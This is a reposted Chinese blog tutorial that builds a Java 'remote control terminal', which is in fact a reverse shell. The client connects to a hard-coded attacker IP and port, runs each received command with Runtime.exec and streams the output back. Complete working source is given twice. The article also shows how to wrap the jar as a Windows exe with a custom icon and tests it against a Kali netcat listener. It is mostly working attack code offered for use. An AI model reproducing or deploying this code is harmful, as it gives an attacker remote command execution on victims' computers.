使用Java制作一个简易的远控终端

这篇具有很好参考价值的文章主要介绍了使用Java制作一个简易的远控终端。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

使用Java制作一个简易的远控终端

远控终端的本质

1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息
2、客户端执行消息内容(即执行服务端传回来的命令)
3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

Java制作简易的远控

1、环境

环境:IntelliJ IDEA 2022.1.1 + jdk1.8 + exe4j.exe

2、新建项目

打开idea,直接新建一个最普通的Java项目即可。
java远程控制,java,开发语言,网络安全,安全

3、新建一个Java类

java远程控制,java,开发语言,网络安全,安全

4、编写程序

(1)导入需要使用到的类包
import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
(2)编写main方法
...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        
    }
}
(3)建立socket连接
public static void main(String[] args) {
        try {
        	// 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
(4)接收服务端传输的消息(即命令)
...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
        	// 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
			// 建立成功后while循环保持连接
			while (true) {
                // inputStream接收服务端传入的字节流数据
                InputStream inputStream = socket.getInputStream();
                // 定义客户端以一个字节大小的方式接收服务端传入的字节流数据
                byte[] bytes = new byte[1];
                // 服务端传入字节流数据转化成字符型数据——命令
                String command = "";

                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        // 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中
                        inputStream.read(bytes);
                        // 将读入的字节流数据转化成16进制数据
                        String hexString = BytesToHexString(bytes);
                        // 将16进制数据转化成字符型数据并赋值给command——命令
                        command += HexStringToString(hexString);

                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            // 去掉服务端传回来命令的空格
                            command = command.trim();
                            // 如果传回来的命令为exit,就直接断开连接
                            if (command.equals("exit")) {
                                return;
                            }
                        }
                    }
                }
            }	
        }
        ...
    }
}

其中需要将接收数据的字节流先转化为16进制数据,再将16进制数据转化为字符型数据,这里分别自定义了两个静态方法:BytesToHexString和HexStringToString。

两个方法的定义如下:

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        ......
    }
	// 将字节流数据转化为16进制数据
    public static String BytesToHexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        char[] hexArray = "0123456789ABCDEF".toCharArray();
        char[] hexChars = new char[bytes.length * 2];

        for (int i = 0; i < bytes.length; i++) {
            int temp = bytes[i] & 0xFF;
            hexChars[i * 2] = hexArray[temp >> 4];
            hexChars[i * 2 + 1] = hexArray[temp & 0x0F];
        }
        return new String(hexChars);
    }

    // 将16进制数据转化为字符型数据
    public static String HexStringToString(String hexString) {
        byte[] array = new byte[hexString.length() / 2];
        try {
            for (int i = 0; i < array.length; i++) {
                array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));
            }
            hexString = new String(array, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "";
        }
        return hexString;
}
(5)执行消息内容(即执行服务端传回来的命令)
...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
            // 建立成功后while循环保持连接
            while (true) {
                .......
                
                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        ......
                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            ......
                            }
                            // 执行命令并返回结果
                            try {
                                // 执行服务端传回来的命令,将命令的执行过程交给exec进程
                                Process exec = Runtime.getRuntime().exec(command);
                                
                            } catch (Exception e) {
                                e.printStackTrace();
                            } 
                        }

                    }
                }

            }
        }
        ......
    }
}
(6)将执行结果返回给服务端
...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
            // 建立成功后while循环保持连接
            while (true) {
                .......
                
                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        ......
                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            ......
                            }
                            // 执行命令并返回结果
                            try {
                                // 执行服务端传回来的命令,将命令的执行过程交给exec进程
                                Process exec = Runtime.getRuntime().exec(command);
                                // 将执行命令返回结果的流赋值给输入流results中
                                InputStream results = exec.getInputStream();
                                // 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReader
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                // 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                String line = null;
                                // 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新
                                while ((line = reader.readLine()) != null) {
                                    dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
                                    dataOutputStream.flush();
                                }
                                // 进程等待
                                exec.waitFor();
                                // 关闭输入流
                                results.close();
                                // 关闭读入流
                                reader.close();
                                // 销毁进程对象
                                exec.destroy();
                                break;
                            } catch (Exception e) {
                                e.printStackTrace();
                            } finally {
                                // 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行
                                command = "";
                            }
                        }

                    }
                }

            }
        }
        ......
    }
}

至此,Java编写远程控制终端完成!

(7)测试远控终端的可用性

打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。
java远程控制,java,开发语言,网络安全,安全
java远程控制,java,开发语言,网络安全,安全
java远程控制,java,开发语言,网络安全,安全
连接成功,远控终端制作完成!

5、将项目打包成jar包并生成exe文件

(1)打成jar包
步骤一

点击文件 --> 点击项目结构。
java远程控制,java,开发语言,网络安全,安全

步骤二

点击工件 --> 点击JAR --> 点击来自具有…。
java远程控制,java,开发语言,网络安全,安全

步骤三

将主类设为main函数所在的Java类 --> 点击确定。
java远程控制,java,开发语言,网络安全,安全

步骤四

点击确定。
java远程控制,java,开发语言,网络安全,安全

步骤五

点击构建 --> 点击构建项目
java远程控制,java,开发语言,网络安全,安全

步骤六

再次点击构建 --> 点击构建工件
java远程控制,java,开发语言,网络安全,安全

步骤七

点击构建即可。
java远程控制,java,开发语言,网络安全,安全

步骤八

这时会在项目out\artifacts\remoteControl_jar目录下,生成了一个Jar文件。直接复制拖出来即可。
java远程控制,java,开发语言,网络安全,安全
java远程控制,java,开发语言,网络安全,安全

至此打包jar包完成。

(2)生成exe文件

使用exe4j(官网下载地址:https://exe4j.apponic.com/ )将jar包生成exe文件。

步骤一

打开exe4j --> next。
java远程控制,java,开发语言,网络安全,安全

步骤二

选择"JAR in EXE"mode --> next
java远程控制,java,开发语言,网络安全,安全

步骤三

填写相关内容 --> next。
java远程控制,java,开发语言,网络安全,安全

步骤四

填写exe文件名字 --> 选择exe图标 --> 设置Advanced Options为32-bit or 64-bit。
java远程控制,java,开发语言,网络安全,安全

步骤五

勾选选项 --> next。
java远程控制,java,开发语言,网络安全,安全

步骤六

next。
java远程控制,java,开发语言,网络安全,安全

步骤七

添加jar包 --> 选择jar包的存放路径 --> 选择jar包main函数所在的主类 --> next。
java远程控制,java,开发语言,网络安全,安全
java远程控制,java,开发语言,网络安全,安全

步骤八

选择jdk兼容最低的版本 --> 勾选"Allow JREs with a beta version number" --> next
java远程控制,java,开发语言,网络安全,安全

步骤九

之后就一直next即可。
java远程控制,java,开发语言,网络安全,安全
java远程控制,java,开发语言,网络安全,安全
exe文件成功生成。

(3)测试exe文件的可用性

kali服务端监听端口。
java远程控制,java,开发语言,网络安全,安全
点击运行生成的exe文件。
java远程控制,java,开发语言,网络安全,安全
点击确定。
java远程控制,java,开发语言,网络安全,安全
连接成功,Java制作远程控制终端完成!文章来源地址https://www.toymoban.com/news/detail-745130.html

附完整代码

import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
            // 建立成功后while循环保持连接
            while (true) {
                // inputStream接收服务端传入的字节流数据
                InputStream inputStream = socket.getInputStream();
                // 定义客户端以一个字节大小的方式接收服务端传入的字节流数据
                byte[] bytes = new byte[1];
                // 服务端传入字节流数据转化成字符型数据——命令
                String command = "";

                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        // 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中
                        inputStream.read(bytes);
                        // 将读入的字节流数据转化成16进制数据
                        String hexString = BytesToHexString(bytes);
                        // 将16进制数据转化成字符型数据并赋值给command——命令
                        command += HexStringToString(hexString);

                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            // 去掉服务端传回来命令的空格
                            command = command.trim();
                            // 如果传回来的命令为exit,就直接断开连接
                            if (command.equals("exit")) {
                                return;
                            }
                            // 执行命令并返回结果
                            try {
                                // 执行服务端传回来的命令,将命令的执行过程交给exec进程
                                Process exec = Runtime.getRuntime().exec(command);
                                // 将执行命令返回结果的流赋值给输入流results中
                                InputStream results = exec.getInputStream();
                                // 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReader
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                // 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                String line = null;
                                // 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新
                                while ((line = reader.readLine()) != null) {
                                    dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
                                    dataOutputStream.flush();
                                }
                                // 进程等待
                                exec.waitFor();
                                // 关闭输入流
                                results.close();
                                // 关闭读入流
                                reader.close();
                                // 销毁进程对象
                                exec.destroy();
                                break;
                            } catch (Exception e) {
                                e.printStackTrace();
                            } finally {
                                // 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行
                                command = "";
                            }
                        }

                    }
                }

            }
        } catch (IOException e) {
            e.printStackTrace();
        }


    }

    // 将字节流数据转化为16进制数据
    public static String BytesToHexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        char[] hexArray = "0123456789ABCDEF".toCharArray();
        char[] hexChars = new char[bytes.length * 2];

        for (int i = 0; i < bytes.length; i++) {
            int temp = bytes[i] & 0xFF;
            hexChars[i * 2] = hexArray[temp >> 4];
            hexChars[i * 2 + 1] = hexArray[temp & 0x0F];
        }
        return new String(hexChars);
    }

    // 将16进制数据转化为字符型数据
    public static String HexStringToString(String hexString) {
        byte[] array = new byte[hexString.length() / 2];
        try {
            for (int i = 0; i < array.length; i++) {
                array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));
            }
            hexString = new String(array, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "";
        }
        return hexString;
    }
}

到了这里,关于使用Java制作一个简易的远控终端的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Android Studio 简易通讯录制作 (Java)

    通讯录首页:  添加联系人页面:  修改联系人: 删除联系人:  程序代码: MainActivity.java MyAdapter.java  DBHelper.java User.java  activity_main.xml dialog.xml  item.xml colors.xml  详细见:https://gitee.com/love1213/Android-Studio-Contacts.git

    2024年02月11日
    浏览(30)
  • JAVA制作的简易计算器——傻瓜计算器

    用JAVA编写的傻瓜计算器 作用: 1.可以实现加法、减法、乘法、除法简单运算且是单一运算,不可混合使用。 2.CE为清除键 3.没有小数点O(∩_∩)O 思路: 创建JFrame窗口,设置标题,创建JButton,创建文本框JTextField用作显示。 先定义各种按钮类型,用作成员。定义窗口方法对窗口

    2024年02月11日
    浏览(33)
  • 用Java写一个简易五子棋游戏

     一. 程序基本思路: 1.写窗口、棋盘面板、控制面板; 2.绘制棋盘; 3.绘制棋子; 4.添加组件功能; 5.判断输赢; 6.悔棋; 7.复盘。 二.实际操作 1.创建窗口、添加面板 效果图:  2.绘制棋盘   为了棋盘线在窗体刷新后仍能保存,我们直接重写chesspanel的paint方法,将棋盘绘

    2024年02月06日
    浏览(30)
  • 如何用Java实现一个简易的图书管理系统

    目录 确立对象 确立这些对象的基本信息和功能 书 书架 管理员和普通用户 各对象之间进行交互 既然是Java实现,那么就应该从面向对象的思想入手。首先需要确立有哪些对象,这些对象的功能又是什么,然后通过这些对象的交互实现这样一个建议的图书管理系统。 要实现图

    2024年02月04日
    浏览(76)
  • JAVA:定义一个抽象类Shape,计算各种子类图形的面积(简易详细版)

    为什么要定义为抽象类? 因为要计算的形状面积各不相同,方法体是不确定的,所以方法定义为抽象方法,抽象方法所在的类必须为抽象类(而抽象类不一定有抽象方法)。 返回值类型也可以定义为其他的数据类型 步骤: 1.继承形状类Shape 2.此时会显示报错,因为需要重写

    2024年02月08日
    浏览(35)
  • Qt 制作一个简易的计算器

    1.通过UI界面封装出计算器的大致模型 进入设计页面后,左侧会有各种控件,可以将他们拖拽到你想编辑的窗口中,我们要做的是计算器,所以只用到很少几个控件,我们最主要用到Push Button这个控件来做我们计算器的按钮,lineEdit显示数字,我们可以将它拖拽到窗口,然后就

    2024年02月05日
    浏览(114)
  • 制作一个简易的计算器app

    github项目地址:https://github.com/13008451162/AndroidMoblieCalculator 笔者的Ui制作的制作的比较麻烦仅供参考,在这里使用了多个LinearLayout对屏幕进行了划分。不建议大家这样做最好使用GridLayout会更加快捷简单 笔者大致划分是这样的: 使用了四个大框,在第四个大框里面有多个小框

    2024年02月15日
    浏览(35)
  • 用python制作一个简易计算器

    这是一个用Python制作简单计算器的教程。你可以根据需要进行更多的改进,例如添加其他运算符或功能。 首先,我们需要创建一个简单的用户界面,用于显示计算器的按键和结果。在Python中,我们可以使用 tkinter 库来创建图形用户界面。创建一个新的Python文件,并将其命名为

    2024年02月11日
    浏览(35)
  • 实现用java做一个简易版《羊了个羊》小游戏(附源代码)

    该项目是跟着这个b站视频一步一步写出来的,初学java有些地方我看不是很明白,但是讲解很仔细,大家可以看原视频,我没有添加背景音乐和背景图片,做出来的效果也勉勉强强。 代码已经上传到github上了,大家可以去github上直接下载代码,附上链接:点击进入github源码链接

    2024年02月04日
    浏览(52)
  • 基于Java+SpringBoot制作一个论坛小程序

    制作一个论坛互动平台,让兴趣志同道合者用户聚集在这里交流话题、展示自我、结交朋友。

    2024年02月05日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包